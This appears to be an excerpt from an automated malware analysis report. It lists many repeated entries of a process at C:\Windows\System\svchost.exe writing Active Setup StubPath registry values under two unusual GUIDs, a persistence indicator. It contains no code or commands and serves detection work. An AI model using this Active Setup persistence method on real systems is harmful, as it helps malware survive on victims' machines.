Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
